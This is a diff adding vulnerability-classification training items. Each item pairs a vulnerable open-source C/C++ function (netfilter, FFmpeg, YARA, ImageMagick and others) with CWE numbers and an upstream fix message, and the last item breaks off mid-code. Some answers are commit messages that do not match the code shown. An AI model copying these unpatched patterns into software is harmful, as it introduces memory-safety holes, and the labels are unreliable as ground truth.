+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: DefragDoSturgesNovakTest(int policy, u_char *expected, size_t expected_len)\n{\n    int i;\n    int ret = 0;\n\n    DefragInit();\n\n    /*\n     * Build the packets.\n     */\n\n    int id = 1;\n    Packet *packets[17];\n    memset(packets, 0x00, sizeof(packets));\n\n    /*\n     * Original fragments.\n     */\n\n    /* A*24 at 0. */\n    packets[0] = BuildTestPacket(id, 0, 1, 'A', 24);\n\n    /* B*15 at 32. */\n    packets[1] = BuildTestPacket(id, 32 >> 3, 1, 'B', 16);\n\n    /* C*24 at 48. */\n    packets[2] = BuildTestPacket(id, 48 >> 3, 1, 'C', 24);\n\n    /* D*8 at 80. */\n    packets[3] = BuildTestPacket(id, 80 >> 3, 1, 'D', 8);\n\n    /* E*16 at 104. */\n    packets[4] = BuildTestPacket(id, 104 >> 3, 1, 'E', 16);\n\n    /* F*24 at 120. */\n    packets[5] = BuildTestPacket(id, 120 >> 3, 1, 'F', 24);\n\n    /* G*16 at 144. */\n    packets[6] = BuildTestPacket(id, 144 >> 3, 1, 'G', 16);\n\n    /* H*16 at 160. */\n    packets[7] = BuildTestPacket(id, 160 >> 3, 1, 'H', 16);\n\n    /* I*8 at 176. */\n    packets[8] = BuildTestPacket(id, 176 >> 3, 1, 'I', 8);\n\n    /*\n     * Overlapping subsequent fragments.\n     */\n\n    /* J*32 at 8. */\n    packets[9] = BuildTestPacket(id, 8 >> 3, 1, 'J', 32);\n\n    /* K*24 at 48. */\n    packets[10] = BuildTestPacket(id, 48 >> 3, 1, 'K', 24);\n\n    /* L*24 at 72. */\n    packets[11] = BuildTestPacket(id, 72 >> 3, 1, 'L', 24);\n\n    /* M*24 at 96. */\n    packets[12] = BuildTestPacket(id, 96 >> 3, 1, 'M', 24);\n\n    /* N*8 at 128. */\n    packets[13] = BuildTestPacket(id, 128 >> 3, 1, 'N', 8);\n\n    /* O*8 at 152. */\n    packets[14] = BuildTestPacket(id, 152 >> 3, 1, 'O', 8);\n\n    /* P*8 at 160. */\n    packets[15] = BuildTestPacket(id, 160 >> 3, 1, 'P', 8);\n\n    /* Q*16 at 176. */\n    packets[16] = BuildTestPacket(id, 176 >> 3, 0, 'Q', 16);\n\n    default_policy = policy;\n\n    /* Send all but the last. */\n    for (i = 0; i < 9; i++) {\n        Packet *tp = Defrag(NULL, NULL, packets[i], NULL);\n        if (tp != NULL) {\n            SCFree(tp);\n            goto end;\n        }\n        if (ENGINE_ISSET_EVENT(packets[i], IPV4_FRAG_OVERLAP)) {\n            goto end;\n        }\n    }\n    int overlap = 0;\n    for (; i < 16; i++) {\n        Packet *tp = Defrag(NULL, NULL, packets[i], NULL);\n        if (tp != NULL) {\n            SCFree(tp);\n            goto end;\n        }\n        if (ENGINE_ISSET_EVENT(packets[i], IPV4_FRAG_OVERLAP)) {\n            overlap++;\n        }\n    }\n    if (!overlap) {\n        goto end;\n    }\n\n    /* And now the last one. */\n    Packet *reassembled = Defrag(NULL, NULL, packets[16], NULL);\n    if (reassembled == NULL) {\n        goto end;\n    }\n\n    if (IPV4_GET_HLEN(reassembled) != 20) {\n        goto end;\n    }\n    if (IPV4_GET_IPLEN(reassembled) != 20 + 192) {\n        goto end;\n    }\n\n    if (memcmp(GET_PKT_DATA(reassembled) + 20, expected, expected_len) != 0) {\n        goto end;\n    }\n    SCFree(reassembled);\n\n    /* Make sure all frags were returned back to the pool. */\n    if (defrag_context->frag_pool->outstanding != 0) {\n        goto end;\n    }\n\n    ret = 1;\nend:\n    for (i = 0; i < 17; i++) {\n        SCFree(packets[i]);\n    }\n    DefragDestroy();\n    return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-358'], 'message': 'defrag - take protocol into account during re-assembly\n\nThe IP protocol was not being used to match fragments with\ntheir packets allowing a carefully constructed packet\nwith a different protocol to be matched, allowing re-assembly\nto complete, creating a packet that would not be re-assembled\nby the destination host.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: \t\tvoid Phase2() final {\n\t\t\tLocal context_handle = Deref(context);\n\t\t\tContext::Scope context_scope{context_handle};\n\t\t\tLocal object = Local::Cast(Deref(reference));\n\t\t\tresult = Unmaybe(object->Delete(context_handle, key->CopyInto()));\n\t\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-913'], 'message': 'Don't invoke accessors or proxies via Reference functions'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static UINT drdynvc_process_close_request(drdynvcPlugin* drdynvc, int Sp,\n        int cbChId, wStream* s)\n{\n\tint value;\n\tUINT error;\n\tUINT32 ChannelId;\n\twStream* data_out;\n\tChannelId = drdynvc_read_variable_uint(s, cbChId);\n\tWLog_Print(drdynvc->log, WLOG_DEBUG, \"process_close_request: Sp=%d cbChId=%d, ChannelId=%\"PRIu32\"\",\n\t           Sp,\n\t           cbChId, ChannelId);\n\n\tif ((error = dvcman_close_channel(drdynvc->channel_mgr, ChannelId)))\n\t{\n\t\tWLog_Print(drdynvc->log, WLOG_ERROR, \"dvcman_close_channel failed with error %\"PRIu32\"!\", error);\n\t\treturn error;\n\t}\n\n\tdata_out = Stream_New(NULL, 4);\n\n\tif (!data_out)\n\t{\n\t\tWLog_Print(drdynvc->log, WLOG_ERROR, \"Stream_New failed!\");\n\t\treturn CHANNEL_RC_NO_MEMORY;\n\t}\n\n\tvalue = (CLOSE_REQUEST_PDU << 4) | (cbChId & 0x03);\n\tStream_Write_UINT8(data_out, value);\n\tdrdynvc_write_variable_uint(data_out, ChannelId);\n\terror = drdynvc_send(drdynvc, data_out);\n\n\tif (error)\n\t\tWLog_Print(drdynvc->log, WLOG_ERROR, \"VirtualChannelWriteEx failed with %s [%08\"PRIX32\"]\",\n\t\t           WTSErrorToString(error), error);\n\n\treturn error;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'Fix for #4866: Added additional length checks'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int nft_setelem_parse_data(struct nft_ctx *ctx, struct nft_set *set,\n\t\t\t\t  struct nft_data_desc *desc,\n\t\t\t\t  struct nft_data *data,\n\t\t\t\t  struct nlattr *attr)\n{\n\tint err;\n\n\terr = nft_data_init(ctx, data, NFT_DATA_VALUE_MAXLEN, desc, attr);\n\tif (err < 0)\n\t\treturn err;\n\n\tif (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen) {\n\t\tnft_data_release(data, desc->type);\n\t\treturn -EINVAL;\n\t}\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'netfilter: nf_tables: stricter validation of element data\n\nMake sure element data type and length do not mismatch the one specified\nby the set declaration.\n\nFixes: 7d7402642eaf (\"netfilter: nf_tables: variable sized set element keys / data\")\nReported-by: Hugues ANGUELKOV \nSigned-off-by: Pablo Neira Ayuso '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   void notify_inserters_if_bounded() TF_EXCLUSIVE_LOCKS_REQUIRED(mu_) {\n    if (has_capacity() || has_memory_limit()) {\n      // Notify all inserters. The removal of an element\n      // may make memory available for many inserters\n      // to insert new elements\n      full_.notify_all();\n    }\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-824'], 'message': 'Prevent nullptr deref in validation of indexes in map ops.\n\nPiperOrigin-RevId: 387738023\nChange-Id: I83d18d36a7b82ffd2a40b5124a4e5b4c72238f27'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: DSA_PrivateKey::create_signature_op(RandomNumberGenerator& /*rng*/,\n                                    const std::string& params,\n                                    const std::string& provider) const\n   {\n   if(provider == \"base\" || provider.empty())\n      return std::unique_ptr(new DSA_Signature_Operation(*this, params));\n   throw Provider_Not_Found(algo_name(), provider);\n   } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'Address DSA/ECDSA side channel'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int yr_re_fast_exec(\n    uint8_t* code,\n    uint8_t* input_data,\n    size_t input_forwards_size,\n    size_t input_backwards_size,\n    int flags,\n    RE_MATCH_CALLBACK_FUNC callback,\n    void* callback_args,\n    int* matches)\n{\n  RE_REPEAT_ANY_ARGS* repeat_any_args;\n\n  uint8_t* code_stack[MAX_FAST_RE_STACK];\n  uint8_t* input_stack[MAX_FAST_RE_STACK];\n  int matches_stack[MAX_FAST_RE_STACK];\n\n  uint8_t* ip = code;\n  uint8_t* input = input_data;\n  uint8_t* next_input;\n  uint8_t* next_opcode;\n  uint8_t mask;\n  uint8_t value;\n\n  int i;\n  int stop;\n  int input_incr;\n  int sp = 0;\n  int bytes_matched;\n  int max_bytes_matched;\n\n  max_bytes_matched = flags & RE_FLAGS_BACKWARDS ?\n      (int) input_backwards_size :\n      (int) input_forwards_size;\n\n  input_incr = flags & RE_FLAGS_BACKWARDS ? -1 : 1;\n\n  if (flags & RE_FLAGS_BACKWARDS)\n    input--;\n\n  code_stack[sp] = code;\n  input_stack[sp] = input;\n  matches_stack[sp] = 0;\n  sp++;\n\n  while (sp > 0)\n  {\n    sp--;\n    ip = code_stack[sp];\n    input = input_stack[sp];\n    bytes_matched = matches_stack[sp];\n    stop = FALSE;\n\n    while(!stop)\n    {\n      if (*ip == RE_OPCODE_MATCH)\n      {\n        if (flags & RE_FLAGS_EXHAUSTIVE)\n        {\n          FAIL_ON_ERROR(callback(\n             flags & RE_FLAGS_BACKWARDS ? input + 1 : input_data,\n             bytes_matched,\n             flags,\n             callback_args));\n\n          break;\n        }\n        else\n        {\n          if (matches != NULL)\n            *matches = bytes_matched;\n\n          return ERROR_SUCCESS;\n        }\n      }\n\n      if (bytes_matched >= max_bytes_matched)\n        break;\n\n      switch(*ip)\n      {\n        case RE_OPCODE_LITERAL:\n\n          if (*input == *(ip + 1))\n          {\n            bytes_matched++;\n            input += input_incr;\n            ip += 2;\n          }\n          else\n          {\n            stop = TRUE;\n          }\n\n          break;\n\n        case RE_OPCODE_MASKED_LITERAL:\n\n          value = *(int16_t*)(ip + 1) & 0xFF;\n          mask = *(int16_t*)(ip + 1) >> 8;\n\n          if ((*input & mask) == value)\n          {\n            bytes_matched++;\n            input += input_incr;\n            ip += 3;\n          }\n          else\n          {\n            stop = TRUE;\n          }\n\n          break;\n\n        case RE_OPCODE_ANY:\n\n          bytes_matched++;\n          input += input_incr;\n          ip += 1;\n\n          break;\n\n        case RE_OPCODE_REPEAT_ANY_UNGREEDY:\n\n          repeat_any_args = (RE_REPEAT_ANY_ARGS*)(ip + 1);\n          next_opcode = ip + 1 + sizeof(RE_REPEAT_ANY_ARGS);\n\n          for (i = repeat_any_args->min + 1; i <= repeat_any_args->max; i++)\n          {\n            next_input = input + i * input_incr;\n\n            if (bytes_matched + i >= max_bytes_matched)\n              break;\n\n            if ( *(next_opcode) != RE_OPCODE_LITERAL ||\n                (*(next_opcode) == RE_OPCODE_LITERAL &&\n                 *(next_opcode + 1) == *next_input))\n            {\n              if (sp >= MAX_FAST_RE_STACK)\n                return -4;\n\n              code_stack[sp] = next_opcode;\n              input_stack[sp] = next_input;\n              matches_stack[sp] = bytes_matched + i;\n              sp++;\n            }\n          }\n\n          input += input_incr * repeat_any_args->min;\n          bytes_matched += repeat_any_args->min;\n          ip = next_opcode;\n\n          break;\n\n        default:\n          assert(FALSE);\n      }\n    }\n  }\n\n  if (matches != NULL)\n    *matches = -1;\n\n  return ERROR_SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'Fix buffer overrun (issue #678). Add assert for detecting this kind of issues earlier.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void copy_fields(const FieldMatchContext *fm, AVFrame *dst,\n                        const AVFrame *src, int field)\n{\n    int plane;\n    for (plane = 0; plane < 4 && src->data[plane]; plane++)\n        av_image_copy_plane(dst->data[plane] + field*dst->linesize[plane], dst->linesize[plane] << 1,\n                            src->data[plane] + field*src->linesize[plane], src->linesize[plane] << 1,\n                            get_width(fm, src, plane), get_height(fm, src, plane) / 2);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'avfilter: fix plane validity checks\n\nFixes out of array accesses\n\nSigned-off-by: Michael Niedermayer '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static Image *ReadOneMNGImage(MngInfo* mng_info, const ImageInfo *image_info,\n     ExceptionInfo *exception)\n{\n  char\n    page_geometry[MagickPathExtent];\n\n  Image\n    *image;\n\n  MagickBooleanType\n    logging;\n\n  volatile int\n    first_mng_object,\n    object_id,\n    term_chunk_found,\n    skip_to_iend;\n\n  volatile ssize_t\n    image_count=0;\n\n  MagickBooleanType\n    status;\n\n  MagickOffsetType\n    offset;\n\n  MngBox\n    default_fb,\n    fb,\n    previous_fb;\n\n#if defined(MNG_INSERT_LAYERS)\n  PixelInfo\n    mng_background_color;\n#endif\n\n  register unsigned char\n    *p;\n\n  register ssize_t\n    i;\n\n  size_t\n    count;\n\n  ssize_t\n    loop_level;\n\n  volatile short\n    skipping_loop;\n\n#if defined(MNG_INSERT_LAYERS)\n  unsigned int\n    mandatory_back=0;\n#endif\n\n  volatile unsigned int\n#ifdef MNG_OBJECT_BUFFERS\n    mng_background_object=0,\n#endif\n    mng_type=0;   /* 0: PNG or JNG; 1: MNG; 2: MNG-LC; 3: MNG-VLC */\n\n  size_t\n    default_frame_timeout,\n    frame_timeout,\n#if defined(MNG_INSERT_LAYERS)\n    image_height,\n    image_width,\n#endif\n    length;\n\n  /* These delays are all measured in image ticks_per_second,\n   * not in MNG ticks_per_second\n   */\n  volatile size_t\n    default_frame_delay,\n    final_delay,\n    final_image_delay,\n    frame_delay,\n#if defined(MNG_INSERT_LAYERS)\n    insert_layers,\n#endif\n    mng_iterations=1,\n    simplicity=0,\n    subframe_height=0,\n    subframe_width=0;\n\n  previous_fb.top=0;\n  previous_fb.bottom=0;\n  previous_fb.left=0;\n  previous_fb.right=0;\n  default_fb.top=0;\n  default_fb.bottom=0;\n  default_fb.left=0;\n  default_fb.right=0;\n\n  logging=LogMagickEvent(CoderEvent,GetMagickModule(),\n    \"  Enter ReadOneMNGImage()\");\n\n  image=mng_info->image;\n\n  if (LocaleCompare(image_info->magick,\"MNG\") == 0)\n    {\n      char\n        magic_number[MagickPathExtent];\n\n      /* Verify MNG signature.  */\n      count=(size_t) ReadBlob(image,8,(unsigned char *) magic_number);\n      if (memcmp(magic_number,\"\\212MNG\\r\\n\\032\\n\",8) != 0)\n        ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n\n      /* Initialize some nonzero members of the MngInfo structure.  */\n      for (i=0; i < MNG_MAX_OBJECTS; i++)\n      {\n        mng_info->object_clip[i].right=(ssize_t) PNG_UINT_31_MAX;\n        mng_info->object_clip[i].bottom=(ssize_t) PNG_UINT_31_MAX;\n      }\n      mng_info->exists[0]=MagickTrue;\n    }\n\n  skipping_loop=(-1);\n  first_mng_object=MagickTrue;\n  mng_type=0;\n#if defined(MNG_INSERT_LAYERS)\n  insert_layers=MagickFalse; /* should be False during convert or mogrify */\n#endif\n  default_frame_delay=0;\n  default_frame_timeout=0;\n  frame_delay=0;\n  final_delay=1;\n  mng_info->ticks_per_second=1UL*image->ticks_per_second;\n  object_id=0;\n  skip_to_iend=MagickFalse;\n  term_chunk_found=MagickFalse;\n  mng_info->framing_mode=1;\n#if defined(MNG_INSERT_LAYERS)\n  mandatory_back=MagickFalse;\n#endif\n#if defined(MNG_INSERT_LAYERS)\n  mng_background_color=image->background_color;\n#endif\n  default_fb=mng_info->frame;\n  previous_fb=mng_info->frame;\n  do\n  {\n    char\n      type[MagickPathExtent];\n\n    if (LocaleCompare(image_info->magick,\"MNG\") == 0)\n      {\n        unsigned char\n          *chunk;\n\n        /*\n          Read a new chunk.\n        */\n        type[0]='\\0';\n        (void) ConcatenateMagickString(type,\"errr\",MagickPathExtent);\n        length=ReadBlobMSBLong(image);\n        count=(size_t) ReadBlob(image,4,(unsigned char *) type);\n\n        if (logging != MagickFalse)\n          (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n           \"  Reading MNG chunk type %c%c%c%c, length: %.20g\",\n           type[0],type[1],type[2],type[3],(double) length);\n\n        if (length > PNG_UINT_31_MAX)\n          {\n            status=MagickFalse;\n            break;\n          }\n\n        if (count == 0)\n          ThrowReaderException(CorruptImageError,\"CorruptImage\");\n\n        p=NULL;\n        chunk=(unsigned char *) NULL;\n\n        if (length != 0)\n          {\n            if (length > GetBlobSize(image))\n              ThrowReaderException(CorruptImageError,\n                \"InsufficientImageDataInFile\");\n            chunk=(unsigned char *) AcquireQuantumMemory(length+\n             MagickPathExtent,sizeof(*chunk));\n\n            if (chunk == (unsigned char *) NULL)\n              ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n\n            for (i=0; i < (ssize_t) length; i++)\n            {\n              int\n                c;\n\n              c=ReadBlobByte(image);\n              if (c == EOF)\n                break;\n              chunk[i]=(unsigned char) c;\n            }\n\n            p=chunk;\n          }\n\n        (void) ReadBlobMSBLong(image);  /* read crc word */\n\n#if !defined(JNG_SUPPORTED)\n        if (memcmp(type,mng_JHDR,4) == 0)\n          {\n            skip_to_iend=MagickTrue;\n\n            if (mng_info->jhdr_warning == 0)\n              (void) ThrowMagickException(exception,GetMagickModule(),\n                CoderError,\"JNGCompressNotSupported\",\"`%s'\",image->filename);\n\n            mng_info->jhdr_warning++;\n          }\n#endif\n        if (memcmp(type,mng_DHDR,4) == 0)\n          {\n            skip_to_iend=MagickTrue;\n\n            if (mng_info->dhdr_warning == 0)\n              (void) ThrowMagickException(exception,GetMagickModule(),\n                CoderError,\"DeltaPNGNotSupported\",\"`%s'\",image->filename);\n\n            mng_info->dhdr_warning++;\n          }\n        if (memcmp(type,mng_MEND,4) == 0)\n          break;\n\n        if (skip_to_iend)\n          {\n            if (memcmp(type,mng_IEND,4) == 0)\n              skip_to_iend=MagickFalse;\n\n            if (length != 0)\n              chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n\n            if (logging != MagickFalse)\n              (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                \"  Skip to IEND.\");\n\n            continue;\n          }\n\n        if (memcmp(type,mng_MHDR,4) == 0)\n          {\n            if (length != 28)\n              {\n                chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n                ThrowReaderException(CorruptImageError,\"CorruptImage\");\n              }\n\n            mng_info->mng_width=(size_t) ((p[0] << 24) | (p[1] << 16) |\n                (p[2] << 8) | p[3]);\n\n            mng_info->mng_height=(size_t) ((p[4] << 24) | (p[5] << 16) |\n                (p[6] << 8) | p[7]);\n\n            if (logging != MagickFalse)\n              {\n                (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                  \"  MNG width: %.20g\",(double) mng_info->mng_width);\n                (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                  \"  MNG height: %.20g\",(double) mng_info->mng_height);\n              }\n\n            p+=8;\n            mng_info->ticks_per_second=(size_t) mng_get_long(p);\n\n            if (mng_info->ticks_per_second == 0)\n              default_frame_delay=0;\n\n            else\n              default_frame_delay=1UL*image->ticks_per_second/\n                mng_info->ticks_per_second;\n\n            frame_delay=default_frame_delay;\n            simplicity=0;\n\n            p+=16;\n            simplicity=(size_t) mng_get_long(p);\n\n            mng_type=1;    /* Full MNG */\n\n            if ((simplicity != 0) && ((simplicity | 11) == 11))\n              mng_type=2; /* LC */\n\n            if ((simplicity != 0) && ((simplicity | 9) == 9))\n              mng_type=3; /* VLC */\n\n#if defined(MNG_INSERT_LAYERS)\n            if (mng_type != 3)\n              insert_layers=MagickTrue;\n#endif\n            if (GetAuthenticPixelQueue(image) != (Quantum *) NULL)\n              {\n                /* Allocate next image structure.  */\n                AcquireNextImage(image_info,image,exception);\n\n                if (GetNextImageInList(image) == (Image *) NULL)\n                  return((Image *) NULL);\n\n                image=SyncNextImageInList(image);\n                mng_info->image=image;\n              }\n\n            if ((mng_info->mng_width > 65535L) ||\n                (mng_info->mng_height > 65535L))\n              {\n                chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n                ThrowReaderException(ImageError,\"WidthOrHeightExceedsLimit\");\n              }\n\n            (void) FormatLocaleString(page_geometry,MagickPathExtent,\n              \"%.20gx%.20g+0+0\",(double) mng_info->mng_width,(double)\n              mng_info->mng_height);\n\n            mng_info->frame.left=0;\n            mng_info->frame.right=(ssize_t) mng_info->mng_width;\n            mng_info->frame.top=0;\n            mng_info->frame.bottom=(ssize_t) mng_info->mng_height;\n            mng_info->clip=default_fb=previous_fb=mng_info->frame;\n\n            for (i=0; i < MNG_MAX_OBJECTS; i++)\n              mng_info->object_clip[i]=mng_info->frame;\n\n            chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n            continue;\n          }\n\n        if (memcmp(type,mng_TERM,4) == 0)\n          {\n            int\n              repeat=0;\n\n            if (length != 0)\n              repeat=p[0];\n\n            if (repeat == 3)\n              {\n                final_delay=(png_uint_32) mng_get_long(&p[2]);\n                mng_iterations=(png_uint_32) mng_get_long(&p[6]);\n\n                if (mng_iterations == PNG_UINT_31_MAX)\n                  mng_iterations=0;\n\n                image->iterations=mng_iterations;\n                term_chunk_found=MagickTrue;\n              }\n\n            if (logging != MagickFalse)\n              {\n                (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                  \"    repeat=%d,  final_delay=%.20g,  iterations=%.20g\",\n                  repeat,(double) final_delay, (double) image->iterations);\n              }\n\n            chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n            continue;\n          }\n        if (memcmp(type,mng_DEFI,4) == 0)\n          {\n            if (mng_type == 3)\n              (void) ThrowMagickException(exception,GetMagickModule(),\n                CoderError,\"DEFI chunk found in MNG-VLC datastream\",\"`%s'\",\n                image->filename);\n\n            if (length < 2)\n              {\n                if (chunk)\n                  chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n                ThrowReaderException(CorruptImageError,\"CorruptImage\");\n              }\n\n            object_id=(p[0] << 8) | p[1];\n\n            if (mng_type == 2 && object_id != 0)\n              (void) ThrowMagickException(exception,GetMagickModule(),\n                CoderError,\"Nonzero object_id in MNG-LC datastream\",\"`%s'\",\n                image->filename);\n\n            if (object_id > MNG_MAX_OBJECTS)\n              {\n                /*\n                  Instead of using a warning we should allocate a larger\n                  MngInfo structure and continue.\n                */\n                (void) ThrowMagickException(exception,GetMagickModule(),\n                  CoderError,\"object id too large\",\"`%s'\",image->filename);\n                object_id=MNG_MAX_OBJECTS;\n              }\n\n            if (mng_info->exists[object_id])\n              if (mng_info->frozen[object_id])\n                {\n                  chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n                  (void) ThrowMagickException(exception,\n                    GetMagickModule(),CoderError,\n                    \"DEFI cannot redefine a frozen MNG object\",\"`%s'\",\n                    image->filename);\n                  continue;\n                }\n\n            mng_info->exists[object_id]=MagickTrue;\n\n            if (length > 2)\n              mng_info->invisible[object_id]=p[2];\n\n            /*\n              Extract object offset info.\n            */\n            if (length > 11)\n              {\n                mng_info->x_off[object_id]=(ssize_t) ((p[4] << 24) |\n                    (p[5] << 16) | (p[6] << 8) | p[7]);\n\n                mng_info->y_off[object_id]=(ssize_t) ((p[8] << 24) |\n                    (p[9] << 16) | (p[10] << 8) | p[11]);\n\n                if (logging != MagickFalse)\n                  {\n                    (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                      \"  x_off[%d]: %.20g,  y_off[%d]: %.20g\",\n                      object_id,(double) mng_info->x_off[object_id],\n                      object_id,(double) mng_info->y_off[object_id]);\n                  }\n              }\n\n            /*\n              Extract object clipping info.\n            */\n            if (length > 27)\n              mng_info->object_clip[object_id]=mng_read_box(mng_info->frame,0,\n                &p[12]);\n\n            chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n            continue;\n          }\n        if (memcmp(type,mng_bKGD,4) == 0)\n          {\n            mng_info->have_global_bkgd=MagickFalse;\n\n            if (length > 5)\n              {\n                mng_info->mng_global_bkgd.red=\n                  ScaleShortToQuantum((unsigned short) ((p[0] << 8) | p[1]));\n\n                mng_info->mng_global_bkgd.green=\n                  ScaleShortToQuantum((unsigned short) ((p[2] << 8) | p[3]));\n\n                mng_info->mng_global_bkgd.blue=\n                  ScaleShortToQuantum((unsigned short) ((p[4] << 8) | p[5]));\n\n                mng_info->have_global_bkgd=MagickTrue;\n              }\n\n            chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n            continue;\n          }\n        if (memcmp(type,mng_BACK,4) == 0)\n          {\n#if defined(MNG_INSERT_LAYERS)\n            if (length > 6)\n              mandatory_back=p[6];\n\n            else\n              mandatory_back=0;\n\n            if (mandatory_back && length > 5)\n              {\n                mng_background_color.red=\n                    ScaleShortToQuantum((unsigned short) ((p[0] << 8) | p[1]));\n\n                mng_background_color.green=\n                    ScaleShortToQuantum((unsigned short) ((p[2] << 8) | p[3]));\n\n                mng_background_color.blue=\n                    ScaleShortToQuantum((unsigned short) ((p[4] << 8) | p[5]));\n\n                mng_background_color.alpha=OpaqueAlpha;\n              }\n\n#ifdef MNG_OBJECT_BUFFERS\n            if (length > 8)\n              mng_background_object=(p[7] << 8) | p[8];\n#endif\n#endif\n            chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n            continue;\n          }\n\n        if (memcmp(type,mng_PLTE,4) == 0)\n          {\n            /* Read global PLTE.  */\n\n            if (length && (length < 769))\n              {\n                if (mng_info->global_plte == (png_colorp) NULL)\n                  mng_info->global_plte=(png_colorp) AcquireQuantumMemory(256,\n                    sizeof(*mng_info->global_plte));\n\n                for (i=0; i < (ssize_t) (length/3); i++)\n                {\n                  mng_info->global_plte[i].red=p[3*i];\n                  mng_info->global_plte[i].green=p[3*i+1];\n                  mng_info->global_plte[i].blue=p[3*i+2];\n                }\n\n                mng_info->global_plte_length=(unsigned int) (length/3);\n              }\n#ifdef MNG_LOOSE\n            for ( ; i < 256; i++)\n            {\n              mng_info->global_plte[i].red=i;\n              mng_info->global_plte[i].green=i;\n              mng_info->global_plte[i].blue=i;\n            }\n\n            if (length != 0)\n              mng_info->global_plte_length=256;\n#endif\n            else\n              mng_info->global_plte_length=0;\n\n            chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n            continue;\n          }\n\n        if (memcmp(type,mng_tRNS,4) == 0)\n          {\n            /* read global tRNS */\n\n            if (length > 0 && length < 257)\n              for (i=0; i < (ssize_t) length; i++)\n                mng_info->global_trns[i]=p[i];\n\n#ifdef MNG_LOOSE\n            for ( ; i < 256; i++)\n              mng_info->global_trns[i]=255;\n#endif\n            mng_info->global_trns_length=(unsigned int) length;\n            chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n            continue;\n          }\n        if (memcmp(type,mng_gAMA,4) == 0)\n          {\n            if (length == 4)\n              {\n                ssize_t\n                  igamma;\n\n                igamma=mng_get_long(p);\n                mng_info->global_gamma=((float) igamma)*0.00001;\n                mng_info->have_global_gama=MagickTrue;\n              }\n\n            else\n              mng_info->have_global_gama=MagickFalse;\n\n            chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n            continue;\n          }\n\n        if (memcmp(type,mng_cHRM,4) == 0)\n          {\n            /* Read global cHRM */\n\n            if (length == 32)\n              {\n                mng_info->global_chrm.white_point.x=0.00001*mng_get_long(p);\n                mng_info->global_chrm.white_point.y=0.00001*mng_get_long(&p[4]);\n                mng_info->global_chrm.red_primary.x=0.00001*mng_get_long(&p[8]);\n                mng_info->global_chrm.red_primary.y=0.00001*\n                  mng_get_long(&p[12]);\n                mng_info->global_chrm.green_primary.x=0.00001*\n                  mng_get_long(&p[16]);\n                mng_info->global_chrm.green_primary.y=0.00001*\n                  mng_get_long(&p[20]);\n                mng_info->global_chrm.blue_primary.x=0.00001*\n                  mng_get_long(&p[24]);\n                mng_info->global_chrm.blue_primary.y=0.00001*\n                  mng_get_long(&p[28]);\n                mng_info->have_global_chrm=MagickTrue;\n              }\n            else\n              mng_info->have_global_chrm=MagickFalse;\n\n            chunk=(unsigned char *) 